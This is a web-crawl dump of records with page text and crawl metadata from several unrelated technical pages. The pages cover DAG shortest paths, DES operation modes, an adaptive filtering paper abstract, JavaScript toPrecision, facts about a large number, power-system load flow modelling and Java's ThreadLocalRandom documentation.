0;\n3. Set the distances to all other vertices to infinity;\n4. For each vertex u in L\n5. - Walk through all neighbors v of u;\n6. - If dist(v) > dist(u) + w(u, v)\n7. - Set dist(v) <- dist(u) + w(u, v);\n```\n\n## Application\n\nIt’s clear why and where we must use this algorithm. The only problem is that we must be sure that the graph doesn’t have cycles. However if we’re aware of how the graph is created we may have some additional information if there are cycles or not – then this linear time algorithm can be very applicable.\n\nTopics:\n\nComment (0)\n\nSave\n{{ articles.views \| formatCount}} Views\n\nPublished at DZone with permission of Stoimen Popov , DZone MVB. See the original article here.\n\nOpinions expressed by DZone contributors are their own." ]	[ null, "http://www.stoimen.com/blog/wp-content/uploads/2012/10/1.-Negative-Cycles.png", null, "http://www.stoimen.com/blog/wp-content/uploads/2012/10/3.-Topological-Sort-part-2.png", null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.90253973,"math_prob":0.8871313,"size":3404,"snap":"2020-34-2020-40","text_gpt3_token_len":747,"char_repetition_ratio":0.11147059,"word_repetition_ratio":0.06,"special_character_ratio":0.21592245,"punctuation_ratio":0.087537095,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.96539515,"pos_list":[0,1,2,3,4],"im_url_duplicate_count":[null,2,null,2,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-08-07T04:15:16Z\",\"WARC-Record-ID\":\"<urn:uuid:ac66ed86-042d-4075-837d-e1ae9da09d6c>\",\"Content-Length\":\"182346\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:c7b5a214-7211-46fb-b674-50dcd2abd0e6>\",\"WARC-Concurrent-To\":\"<urn:uuid:06240a23-63cc-42ac-9c0f-332463af595d>\",\"WARC-IP-Address\":\"3.217.61.161\",\"WARC-Target-URI\":\"https://dzone.com/articles/algorithm-week-shorted-path\",\"WARC-Payload-Digest\":\"sha1:2RFK6HNEGZ4BD736VGTSUVUJZOIXMRDY\",\"WARC-Block-Digest\":\"sha1:DZIRXD7E6L5SRENPIXUDCHD3IZ7ESZWU\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-34/CC-MAIN-2020-34_segments_1596439737152.0_warc_CC-MAIN-20200807025719-20200807055719-00044.warc.gz\"}"}
http://www.physicsebookcollection.com/2015/09/elementary-mechanics-and-thermodynamics.html	[ "## Thursday, September 24, 2015\n\n### Elementary Mechanics and Thermodynamics by Prof. John W. Norbury", null, "Elementary Mechanics and Thermodynamics Textbook is an ideal book for a typical semester which is 15 weeks long, giving 30 weeks at best for a year long course. At the fastest possible rate, we can \"cover\" only one chapter per week. For a year long course that is 30 chapters at best. Thus ten chapters of the typical book are left out! 1500 pages divided by 30 weeks is about 50 pages per week. The typical text is quite densed mathematics and physics and it's simply impossible for a student to read all of this in the detail required. Also with 100 problems per chapter, it's not possible for a student to do 100 problems each week. Thus it is impossible for a student to fully read and do all the problems in the standard introductory books. Thus these books are not useful to students or instructors teaching the typical course!" ]	[ null, "http://ultraimg.com/images/D6kpR.jpg", null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.9357445,"math_prob":0.61621165,"size":861,"snap":"2020-45-2020-50","text_gpt3_token_len":186,"char_repetition_ratio":0.126021,"word_repetition_ratio":0.013157895,"special_character_ratio":0.22299652,"punctuation_ratio":0.07692308,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9521401,"pos_list":[0,1,2],"im_url_duplicate_count":[null,3,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-10-26T01:07:49Z\",\"WARC-Record-ID\":\"<urn:uuid:5164ac13-bff8-4eca-a20f-7d50da75179a>\",\"Content-Length\":\"88553\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:d4b9f490-aa47-49dd-8126-1a32a0f06f46>\",\"WARC-Concurrent-To\":\"<urn:uuid:da34ac81-3839-4b9a-b932-cb37cc9bfefb>\",\"WARC-IP-Address\":\"172.217.7.243\",\"WARC-Target-URI\":\"http://www.physicsebookcollection.com/2015/09/elementary-mechanics-and-thermodynamics.html\",\"WARC-Payload-Digest\":\"sha1:B64YNI3OSDCY2SES2KAFRDNIHI7O5GCV\",\"WARC-Block-Digest\":\"sha1:HBPV2IUJSLV74N4QI275JN4QVBFR2MUL\",\"WARC-Identified-Payload-Type\":\"application/xhtml+xml\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-45/CC-MAIN-2020-45_segments_1603107890108.60_warc_CC-MAIN-20201026002022-20201026032022-00421.warc.gz\"}"}
http://herongyang.com/Cryptography/DES-Mode-Encryption-Operation-Mode-Introduction.html	[ "DES Encryption Operation Mode Introduction\n\nThis section describes what are DES encryption operation modes and notations used to describe how each operation mode works.\n\nDES encryption algorithm defines how a single 64-bit plaintext block can be encrypted. It does not define how a real plaintext message with an arbitrary number of bytes should be padded and arranged into 64-bit input blocks for the encryption process. It does not define how one input block should be coupled with other blocks from the same original plaintext message to improve the encryption strength.\n\n(FIPS) Federal Information Processing Standards Publication 81 published in 1980 provided the following block encryption operation modes to address how blocks of the same plaintext message should be coupled:\n\n• ECB - Electronic Code Book operation mode.\n• CBC - Cipher Block Chaining operation mode.\n• CFB - Cipher Feedback operation mode\n• OFB - Output Feedback operation mode\n\nSee http://www.itl.nist.gov/fipspubs/fip81.htm for details.\n\nIn order to describe these operation modes, we need to define the following notations:\n\nP = P, P, P, ..., P[i], ... - Representing the original plaintext message, P, being arranged into multiple 64-bit plaintext blocks. P[i] represents plaintext block number i.\n\nEk(P[i]) - Representing the DES encryption algorithm applied on a single 64-bit plaintext block, P[i], with a predefined key, k.\n\nC = C, C, C, ..., C[i], ... - Representing the final ciphertext message, C, being regrouped from multiple 64-bit ciphertext blocks. C[i] represents ciphertext block number i.\n\nIV - Called \"Initial Vector\", representing a predefined 64-bit initial value.\n\nWith these notations, we are ready to describe different operation modes that can be applied the DES encryption algorithm.\n\nTable of Contents" ]	[ null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.74000585,"math_prob":0.8072995,"size":3149,"snap":"2019-13-2019-22","text_gpt3_token_len":674,"char_repetition_ratio":0.14594595,"word_repetition_ratio":0.01330377,"special_character_ratio":0.20482694,"punctuation_ratio":0.11588785,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.97020715,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2019-05-22T21:59:57Z\",\"WARC-Record-ID\":\"<urn:uuid:a7930bed-a660-45ce-8d68-00e316d6ed45>\",\"Content-Length\":\"14690\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:ed40be5b-31c4-481d-a525-4e1e72ff7d01>\",\"WARC-Concurrent-To\":\"<urn:uuid:fb3f0114-d4c8-4119-9f82-3aac81fb6ed5>\",\"WARC-IP-Address\":\"74.208.236.35\",\"WARC-Target-URI\":\"http://herongyang.com/Cryptography/DES-Mode-Encryption-Operation-Mode-Introduction.html\",\"WARC-Payload-Digest\":\"sha1:PGJSGUVC75WNNQXJ2CLLIZ7KGIHOZ6PF\",\"WARC-Block-Digest\":\"sha1:P2WZGO2FYHGGHP4NNDKM2LBD5ARMC65Y\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2019/CC-MAIN-2019-22/CC-MAIN-2019-22_segments_1558232256958.53_warc_CC-MAIN-20190522203319-20190522225319-00210.warc.gz\"}"}
https://link.springer.com/article/10.1007%2Fs00034-016-0356-x	[ "Circuits, Systems, and Signal Processing\n\n, Volume 36, Issue 3, pp 1322–1339\n\nNonparametric Variable Step-Size LMAT Algorithm\n\nShort Paper\n\nAbstract\n\nThis paper proposes a nonparametric variable step-size least mean absolute third (NVSLMAT) algorithm to improve the capability of the adaptive filtering algorithm against the impulsive noise and other types of noise. The step-size of the NVSLMAT is obtained using the instantaneous value of a current error estimate and a posterior error estimate. This approach is different from the traditional method of nonparametric variance estimate. In the NVSLMAT algorithm, fewer parameters need to be set, thereby reducing the complexity considerably. Additionally, the mean of the additive noise does not necessarily equal zero in the proposed algorithm. In addition, the mean convergence and steady-state mean-square deviation of the NVSLMAT algorithm are derived and the computational complexity of NVSLMAT is analyzed theoretically. Furthermore, the experimental results in system identification applications presented illustrate the principle and efficiency of the NVSLMAT algorithm.\n\nKeywords\n\nLMAT Variable step-size Impulsive noise Nonparametric Most of the noise densities System identification\n\nReferences\n\n1. 1.\nW.P. Ang, B. Farhang-Boroujeny, A new class of gradient adaptive step-size LMS algorithms. IEEE Trans. Signal Process. 49(4), 805–810 (2001)\n2. 2.\nJ. Benesty, H. Rey, L. Rey, Vega, S. Tressens, A nonparametric VSS NLMS algorithm. IEEE Signal Process. Lett. 13(10), 581–584 (2006)\n3. 3.\nD. Bismor, LMS algorithm step-size adjustment for fast convergence. Arch. Acoust. 37(1), 31–40 (2012)\n4. 4.\nS.H. Cho, S.D. Kim, H.P. Moom, J.Y. NA, The least mean absolute third (LMAT) adaptive algorithm: mean and mean-squared convergence properties. In Proceedings of Sixth Western Pacific Reg. Acoust. Conf., Hong Kong, 22(10), 2303–2309 (1997)Google Scholar\n5. 5.\nP.S.R. Diniz, Adaptive Filtering, vol. Fourth (Springer, Boston, 2013)\n6. 6.\nE. Eweda, Dependence of the stability of the least mean fourth algorithm on target weights nonstationarity. IEEE Trans. Signal Process. 62(7), 1634–1643 (2014)\n7. 7.\nE. Eweda, N. Bershad, Stochastic analysis of a stable normalized least mean fourth algorithm for adaptive noise canceling with a white gaussian reference. IEEE Trans. Signal Process. 60(12), 6235–6244 (2012)\n8. 8.\nX.Z. FU, Z. Liu, C.X. LI, Anti-interference performance improvement for sigmoid function variable step-size LMS adaptive algorithm. J. Beijing Univ. Posts Telecommun. 34(6), 112–120 (2011)Google Scholar\n9. 9.\nK. Hirano, Rayleigh Distribution (Wiley, London, 2014)\n10. 10.\nS.D. Kim, S.S. Kim, S.H. Cho, Least mean absolute third (LMAT) adaptive algorithm: part II. Perform. Eval. Algorithm 22(10), 2310–2316 (1997)Google Scholar\n11. 11.\nR.H. Kwong, E.W. Johnston, A variable step-size LMS algorithm. IEEE Trans. Signal Process. 40(7), 1633–1642 (1992)\n12. 12.\nY.H. Lee, D.M. Jin, D.K. Sang, S.H. Cho, Performance of least mean absolute third (LMAT) adaptive algorithm in various noise environments. Electron. Lett. 34(3), 241–243 (1998)\n13. 13.\nJ.C. Liu, X. Yu, H.R. Li, A nonparametric variable step-size NLMS algorithm for transversal filters. Appl. Math. Comput. 217(17), 7365–7371 (2011)\n14. 14.\nK. Mayyas, A variable step-size selective partial update LMS algorithm. Digit. Signal Process. 23, 75–85 (2013)\n15. 15.\nA.H. Sayed, Adaptive Filters (Wiley, Hoboken, 2008)\n16. 16.\nH.C. Shin, A.H. Sayed, W.J. Song, Variable step-size NLMS and affine projection algorithms. IEEE Signal Process. Lett. 11(2), 132–135 (2004)\n17. 17.\nM.R. Spiegel, Mathematical Handbook of Formulas and Tables (McGraw-Hill, New York, 2012)Google Scholar\n18. 18.\nP. Wang, P.Y. Kam, An automatic step-size adjustment algorithm for LMS adaptive filters and an application to channel estimation. Phys. Commun. 5, 280–286 (2012)\n19. 19.\nH.X. Wen, X.H. Lai, L. Chen, Z. Cai, Nonparametric VSS-APA based on precise background noise power estimate. J. Cent. South Univ. 22, 251–260 (2015)\n20. 20.\nJ.W. Yoo, J.W. Shin, P.G. Park, An improved NLMS algorithm in sparse systems against noisy input signals. IEEE Trans. Circuits Syst. II Expr. Br. 62(3), 271–275 (2015)\n21. 21.\nX. Yu, J.C. Liu, H.R. Li, An adaptive inertia weight particle swarm optimization algorithm for IIR digital filter. In Proceedings of the 2009 International Conference on Artificial Intelligence and Computational Intelligence (AICI2009), pp. 114–118 (2009)Google Scholar\n22. 22.\nA. Zerguine, Convergence and steady-state analysis of the normalized least mean fourth algorithm. Digit. Signal Process. 17(1), 17–31 (2007)\n23. 23.\nH. Zhao, Y. Yu, S. Gao, Z. He, A new normalized LMAT algorithm and its performance analysis. Signal Process. 105(12), 399–409 (2014)", null, "" ]	[ null, "https://link.springer.com/track/controlled/article/denied/10.1007/s00034-016-0356-x", null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.6688067,"math_prob":0.8738269,"size":5315,"snap":"2019-43-2019-47","text_gpt3_token_len":1438,"char_repetition_ratio":0.1711542,"word_repetition_ratio":0.0098730605,"special_character_ratio":0.27883348,"punctuation_ratio":0.2513661,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.95575076,"pos_list":[0,1,2],"im_url_duplicate_count":[null,1,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2019-10-21T15:47:13Z\",\"WARC-Record-ID\":\"<urn:uuid:ce55f61f-ba5f-4587-a22f-ee5767c56cf6>\",\"Content-Length\":\"87412\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:d80497d3-1f61-4687-b97f-1e57be49f785>\",\"WARC-Concurrent-To\":\"<urn:uuid:cf217a7c-a41f-44ea-82bb-8830a5e1dc5b>\",\"WARC-IP-Address\":\"151.101.248.95\",\"WARC-Target-URI\":\"https://link.springer.com/article/10.1007%2Fs00034-016-0356-x\",\"WARC-Payload-Digest\":\"sha1:Z4HN6LQPFB5T3DNZRIFIKTRTGAA6URHP\",\"WARC-Block-Digest\":\"sha1:NINWIFKT2ZVMRGJ7344UVYWCUCSP5NP4\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2019/CC-MAIN-2019-43/CC-MAIN-2019-43_segments_1570987779528.82_warc_CC-MAIN-20191021143945-20191021171445-00459.warc.gz\"}"}
https://tutorialspoint.dev/language/javascript/javascript-toprecision-function	[ "# JavaScript \| toPrecision( ) Function\n\nThe toPrecision() method in Javascript is used to format a number to a specific precision or length. If the formatted number requires more number of digits than original number then decimals and nulls are also added to create the specified length.\n\nSyntax:\n\n`number.toPrecision(value)`\n\nThe toPrecision() function is used with a number as shown in above syntax using the ‘.’ operator. This function will format a number to a specified length.\n\nParameters: This function accepts a single parameter value. This parameter is also optional and it represents the value of the number of significant digits the user wants in the formatted number.\n\nReturn Value: The toPrecision() method in JavaScript returns a string in which the number is formatted to the specified precision.\n\nBelow are some examples to illustrates toPrecision() function:\n\n1. Passing no arguments in the toPrecision() method: If no arguments is passed to the toPrecision() function then the formatted number will be exactly the same as input number. Though, it will be represented as a string rather than a number.\n ` ` `<``script` `type``=``\"text/javascript\"``> ` ` ``var num=213.45689; ` ` ``document.write(num.toPrecision()); ` ` `\n\n/div>\n\nOutput:\n\n`213.45689`\n2. Passing an argument in the toPrecision() method: If the length of precision passed to the toPrecision() function is smalller than the original number then the number is rounded off to that precision.\n `<``script` `type``=``\"text/javascript\"``> ` ` ``var num=213.45689; ` ` ``document.write(num.toPrecision(4)); ` ` `\n\nOutput:\n\n`213.5`\n3. Passing an argument which results in addition of null in the output: If the length of precision passed to the toPrecision() function is greater than the original number then zero’s are appended to the input number to meet the specified precision.\n `<``script` `type``=``\"text/javascript\"``> ` ` ``var num=213.45689; ` ` ``document.write(num.toPrecision(12)); ` ` ` ` ``var num2 = 123; ` ` ``document.write(num2.toPrecision(5)); ` ` `\n\nOutput:\n\n```213.456890000\n123.00\n```\n\nNote: If the precision specified is not in between 1 and 100 (inclusive), it results in a RangeError.\n\n## tags:\n\nJavaScript JavaScript-Misc JavaScript-Numbers" ]	[ null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.5661592,"math_prob":0.92196953,"size":2372,"snap":"2022-40-2023-06","text_gpt3_token_len":518,"char_repetition_ratio":0.19130068,"word_repetition_ratio":0.23333333,"special_character_ratio":0.23819561,"punctuation_ratio":0.12383178,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99257505,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2022-10-07T05:21:24Z\",\"WARC-Record-ID\":\"<urn:uuid:412237b1-1437-4e8e-82f7-16057b488edd>\",\"Content-Length\":\"23669\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:c760af4a-89bc-4f26-85f0-740b424c5bf6>\",\"WARC-Concurrent-To\":\"<urn:uuid:b6ff80f3-3a0e-4c9e-a0dd-912f658f35bf>\",\"WARC-IP-Address\":\"104.21.79.77\",\"WARC-Target-URI\":\"https://tutorialspoint.dev/language/javascript/javascript-toprecision-function\",\"WARC-Payload-Digest\":\"sha1:H73FAMI3BSA77VAUAQA2NKOEIVPX2BZ3\",\"WARC-Block-Digest\":\"sha1:LFMRLFLXXBRLF7KZVXQMS7QKYRM4OYOY\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2022/CC-MAIN-2022-40/CC-MAIN-2022-40_segments_1664030337971.74_warc_CC-MAIN-20221007045521-20221007075521-00794.warc.gz\"}"}
https://metanumbers.com/1852519000000	[ "1852519000000 (number)\n\n1,852,519,000,000 (one trillion eight hundred fifty-two billion five hundred nineteen million) is an even thirteen-digits composite number following 1852518999999 and preceding 1852519000001. In scientific notation, it is written as 1.852519 × 1012. The sum of its digits is 31. It has a total of 14 prime factors and 196 positive divisors. There are 702,000,000,000 positive integers (up to 1852519000000) that are relatively prime to 1852519000000.\n\nBasic properties\n\n• Is Prime? No\n• Number parity Even\n• Number length 13\n• Sum of Digits 31\n• Digital Root 4\n\nName\n\nShort name 1 trillion 852 billion 519 million one trillion eight hundred fifty-two billion five hundred nineteen million\n\nNotation\n\nScientific notation 1.852519 × 1012 1.852519 × 1012\n\nPrime Factorization of 1852519000000\n\nPrime Factorization 26 × 56 × 19 × 97501\n\nComposite number\nDistinct Factors Total Factors Radical ω(n) 4 Total number of distinct prime factors Ω(n) 14 Total number of prime factors rad(n) 18525190 Product of the distinct prime numbers λ(n) 1 Returns the parity of Ω(n), such that λ(n) = (-1)Ω(n) μ(n) 0 Returns: 1, if n has an even number of prime factors (and is square free) −1, if n has an odd number of prime factors (and is square free) 0, if n has a squared prime factor Λ(n) 0 Returns log(p) if n is a power pk of any prime p (for any k >= 1), else returns 0\n\nThe prime factorization of 1,852,519,000,000 is 26 × 56 × 19 × 97501. Since it has a total of 14 prime factors, 1,852,519,000,000 is a composite number.\n\nDivisors of 1852519000000\n\n196 divisors\n\n Even divisors 168 28 14 14\nTotal Divisors Sum of Divisors Aliquot Sum τ(n) 196 Total number of the positive divisors of n σ(n) 4.83695e+12 Sum of all the positive divisors of n s(n) 2.98443e+12 Sum of the proper positive divisors of n A(n) 2.46783e+10 Returns the sum of divisors (σ(n)) divided by the total number of divisors (τ(n)) G(n) 1.36107e+06 Returns the nth root of the product of n divisors H(n) 75.0666 Returns the total number of divisors (τ(n)) divided by the sum of the reciprocal of each divisors\n\nThe number 1,852,519,000,000 can be divided by 196 positive divisors (out of which 168 are even, and 28 are odd). The sum of these divisors (counting 1,852,519,000,000) is 4,836,951,367,480, the average is 246,783,233,03.,469.\n\nOther Arithmetic Functions (n = 1852519000000)\n\n1 φ(n) n\nEuler Totient Carmichael Lambda Prime Pi φ(n) 702000000000 Total number of positive integers not greater than n that are coprime to n λ(n) 11700000 Smallest positive number such that aλ(n) ≡ 1 (mod n) for all a coprime to n π(n) ≈ 68059911446 Total number of primes less than or equal to n r2(n) 0 The number of ways n can be represented as the sum of 2 squares\n\nThere are 702,000,000,000 positive integers (less than 1,852,519,000,000) that are coprime with 1,852,519,000,000. And there are approximately 68,059,911,446 prime numbers less than or equal to 1,852,519,000,000.\n\nDivisibility of 1852519000000\n\n m n mod m 2 3 4 5 6 7 8 9 0 1 0 0 4 4 0 4\n\nThe number 1,852,519,000,000 is divisible by 2, 4, 5 and 8.\n\n• Abundant\n\n• Polite\n• Practical\n\n• Frugal\n\nBase conversion (1852519000000)\n\nBase System Value\n2 Binary 11010111101010010101111001010011111000000\n3 Ternary 20120002200020022210110211\n4 Quaternary 122331102233022133000\n5 Quinary 220322424331000000\n6 Senary 3535011355203504\n8 Octal 32752257123700\n10 Decimal 1852519000000\n12 Duodecimal 25b044a46594\n20 Vigesimal 3c75c3f000\n36 Base36 nn19zcn4\n\nBasic calculations (n = 1852519000000)\n\nMultiplication\n\nn×y\n n×2 3705038000000 5557557000000 7410076000000 9262595000000\n\nDivision\n\nn÷y\n n÷2 9.2626e+11 6.17506e+11 4.6313e+11 3.70504e+11\n\nExponentiation\n\nny\n n2 3431826645361000000000000 6357524065237514359000000000000000000 11777434123809734862820321000000000000000000000000 21817920485605886218337038238599000000000000000000000000000000\n\nNth Root\n\ny√n\n 2√n 1.36107e+06 12281.6 1166.65 284.153\n\n1852519000000 as geometric shapes\n\nCircle\n\n Diameter 3.70504e+12 1.16397e+13 1.07814e+25\n\nSphere\n\n Volume 2.66303e+37 4.31256e+25 1.16397e+13\n\nSquare\n\nLength = n\n Perimeter 7.41008e+12 3.43183e+24 2.61986e+12\n\nCube\n\nLength = n\n Surface area 2.0591e+25 6.35752e+36 3.20866e+12\n\nEquilateral Triangle\n\nLength = n\n Perimeter 5.55756e+12 1.48602e+24 1.60433e+12\n\nTriangular Pyramid\n\nLength = n\n Surface area 5.9441e+24 7.49241e+35 1.51258e+12\n\nCryptographic Hash Functions\n\nmd5 3f1452ce1388c98b8450f82db8af53dc 09f37a033afa70b10934150d4073130fee535546 a46d5e3e5d0befd8cf91f246f6c69594e0aeb3bac99d0f722839e61e5d30da1a 4c3dae0fb4115c1325324a7981be022a48044c47f19c74c76900ae9fbebe4a7b266de5a36c11b52813de322f4b6848f13bd2fc29b66f4491340d79666b49e1f6 57b71ccaf9bf6f9f4535d7cb895d92603c3d9030" ]	[ null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.61455595,"math_prob":0.99695665,"size":5295,"snap":"2022-05-2022-21","text_gpt3_token_len":1920,"char_repetition_ratio":0.15101115,"word_repetition_ratio":0.041968163,"special_character_ratio":0.51671386,"punctuation_ratio":0.11638418,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9953759,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2022-01-29T12:37:52Z\",\"WARC-Record-ID\":\"<urn:uuid:569f4382-5035-4f70-b4a3-98e100a5ad6d>\",\"Content-Length\":\"41864\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:9ff20502-96da-449b-8294-9a4d5a7de9dc>\",\"WARC-Concurrent-To\":\"<urn:uuid:4521d687-da30-42ec-a06e-8d5133373cd4>\",\"WARC-IP-Address\":\"46.105.53.190\",\"WARC-Target-URI\":\"https://metanumbers.com/1852519000000\",\"WARC-Payload-Digest\":\"sha1:OBVD7S2HYUJXO7OP3N4HGUN7QZNZDOIS\",\"WARC-Block-Digest\":\"sha1:EPT2VGVQVZIVDWQ5KQEEQRPMDDMWLQGZ\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2022/CC-MAIN-2022-05/CC-MAIN-2022-05_segments_1642320306181.43_warc_CC-MAIN-20220129122405-20220129152405-00274.warc.gz\"}"}
https://www.electrotechnik.net/2018/01/	[ "## Modelling the Components for a Load Flow Analysis\n\nThe Load Flow Analysis is done to determine the flow of real and reactive between different buses in a power system. It also helps in determining the voltage and current at different locations.\n\nTo conduct a Load Flow Analysis, the components in a power system need to be modelled. The modelling is done by developing equivalent circuits of the components, such as the generator, transmission lines and line capacitances.\n\nThe Generator equivalent circuit is shown below.\n\nThe Thevenin equivalent circuit is as shown below.", null, "This consists of a voltage source and a resistance and an inductance in series with the load.\n\nE = V + IZ\n\nwhere\n\nZ is the steady stage impedance\nV is the voltage and\nI is the current\n\nThe Norton equivalent circuit\n\nThe Norton equivalent circuit consists of a power source and an admittance in parallel.", null, "INorton = V/Z\n\nINorton = YV", null, "The load is modelled as a resistance and inductance in a series circuit that is earth\n\nTransmission lines\n\nTransmission lines are modelled as\n\nShort transmission lines (less than 80 km)\n\nShort lines that are less than 80 kms long are modelled as a resistance and reactance in series with the load. The line capacitances are neglected.\n\nMedium (80 to 250 km)\n\nMedium lines are modelled as a resistance and reactance in series. The admittance is in parallel in two sections.", null, "Long lines ( 250 km and above)\n\nLong lines are also modelled as a resistance and reactance in series. The admittance is in parallel in two sections.", null, "" ]	[ null, "https://1.bp.blogspot.com/-DWCo3RY5lu4/WiJBuiXDh1I/AAAAAAAAONo/_1Sk-M5IyLUh67aiIiI6zJ8_E79S_2uOQCLcBGAs/s1600/schemeit-project%2B%25285%2529.png", null, "https://2.bp.blogspot.com/-t-8DbTd1UCY/WiJBucLkWLI/AAAAAAAAONk/wbVGP5pN-Mgj4Fi--zvUpOkSbFtFTTKqACLcBGAs/s1600/schemeit-project%2B%25284%2529.png", null, "https://2.bp.blogspot.com/-QVDw-2nyv_E/WiJBtQ4Po9I/AAAAAAAAONg/AgNNPS4YXvIrIaUBwO8wCWHwbJX9mV8nACLcBGAs/s1600/schemeit-project%2B%25283%2529.png", null, "https://1.bp.blogspot.com/-Sais5Jn2Pt4/WiJBtOcNn6I/AAAAAAAAONY/iL_zhyaOfOoFFnlEgjRSmINsAXBC4QwCQCLcBGAs/s400/schemeit-project%2B%25282%2529.png", null, "https://2.bp.blogspot.com/-Mhr-aInUcC4/WiJBtUvRjUI/AAAAAAAAONc/PUFIX2Nvm6sh7BAX2CwTElDIFbreQGbYACLcBGAs/s400/schemeit-project%2B%25281%2529.png", null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.9417405,"math_prob":0.9856167,"size":1272,"snap":"2023-40-2023-50","text_gpt3_token_len":282,"char_repetition_ratio":0.14826499,"word_repetition_ratio":0.14746544,"special_character_ratio":0.2028302,"punctuation_ratio":0.06465517,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99351937,"pos_list":[0,1,2,3,4,5,6,7,8,9,10],"im_url_duplicate_count":[null,4,null,4,null,4,null,4,null,4,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2023-09-25T07:40:38Z\",\"WARC-Record-ID\":\"<urn:uuid:4a79c428-eb2d-4b84-be78-c20ca7c1f1ae>\",\"Content-Length\":\"91627\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:cf2fc77d-193c-4389-b2cf-5a844218d909>\",\"WARC-Concurrent-To\":\"<urn:uuid:3a87f1ff-fa86-469f-8e29-69d686dd4e19>\",\"WARC-IP-Address\":\"172.253.115.121\",\"WARC-Target-URI\":\"https://www.electrotechnik.net/2018/01/\",\"WARC-Payload-Digest\":\"sha1:HN62KZN5FBDSWVGF4S2YUYJNEXXJ2MWQ\",\"WARC-Block-Digest\":\"sha1:RWFUCUSJIIW7YEAVYTUALCXCRMMWHLFV\",\"WARC-Identified-Payload-Type\":\"application/xhtml+xml\",\"warc_filename\":\"/cc_download/warc_2023/CC-MAIN-2023-40/CC-MAIN-2023-40_segments_1695233506686.80_warc_CC-MAIN-20230925051501-20230925081501-00759.warc.gz\"}"}
https://curry.ateneo.net/javadocs/api/java/util/concurrent/ThreadLocalRandom.html	[ "Java™ Platform\nStandard Ed. 8\ncompact1, compact2, compact3\njava.util.concurrent\n\n• All Implemented Interfaces:\nSerializable\n\n```public class ThreadLocalRandom\nextends Random```\nA random number generator isolated to the current thread. Like the global `Random` generator used by the `Math` class, a `ThreadLocalRandom` is initialized with an internally generated seed that may not otherwise be modified. When applicable, use of `ThreadLocalRandom` rather than shared `Random` objects in concurrent programs will typically encounter much less overhead and contention. Use of `ThreadLocalRandom` is particularly appropriate when multiple tasks (for example, each a `ForkJoinTask`) use random numbers in parallel in thread pools.\n\nUsages of this class should typically be of the form: `ThreadLocalRandom.current().nextX(...)` (where `X` is `Int`, `Long`, etc). When all usages are of this form, it is never possible to accidently share a `ThreadLocalRandom` across multiple threads.\n\nThis class also provides additional commonly used bounded random generation methods.\n\nInstances of `ThreadLocalRandom` are not cryptographically secure. Consider instead using `SecureRandom` in security-sensitive applications. Additionally, default-constructed instances do not use a cryptographically random seed unless the system property `java.util.secureRandomSeed` is set to `true`.\n\nSince:\n1.7\nSerialized Form\n• ### Method Summary\n\nAll Methods\nModifier and Type Method and Description\n`static ThreadLocalRandom` `current()`\nReturns the current thread's `ThreadLocalRandom`.\n`DoubleStream` `doubles()`\nReturns an effectively unlimited stream of pseudorandom `double` values, each between zero (inclusive) and one (exclusive).\n`DoubleStream` ```doubles(double randomNumberOrigin, double randomNumberBound)```\nReturns an effectively unlimited stream of pseudorandom `double` values, each conforming to the given origin (inclusive) and bound (exclusive).\n`DoubleStream` `doubles(long streamSize)`\nReturns a stream producing the given `streamSize` number of pseudorandom `double` values, each between zero (inclusive) and one (exclusive).\n`DoubleStream` ```doubles(long streamSize, double randomNumberOrigin, double randomNumberBound)```\nReturns a stream producing the given `streamSize` number of pseudorandom `double` values, each conforming to the given origin (inclusive) and bound (exclusive).\n`IntStream` `ints()`\nReturns an effectively unlimited stream of pseudorandom `int` values.\n`IntStream` ```ints(int randomNumberOrigin, int randomNumberBound)```\nReturns an effectively unlimited stream of pseudorandom `int` values, each conforming to the given origin (inclusive) and bound (exclusive).\n`IntStream` `ints(long streamSize)`\nReturns a stream producing the given `streamSize` number of pseudorandom `int` values.\n`IntStream` ```ints(long streamSize, int randomNumberOrigin, int randomNumberBound)```\nReturns a stream producing the given `streamSize` number of pseudorandom `int` values, each conforming to the given origin 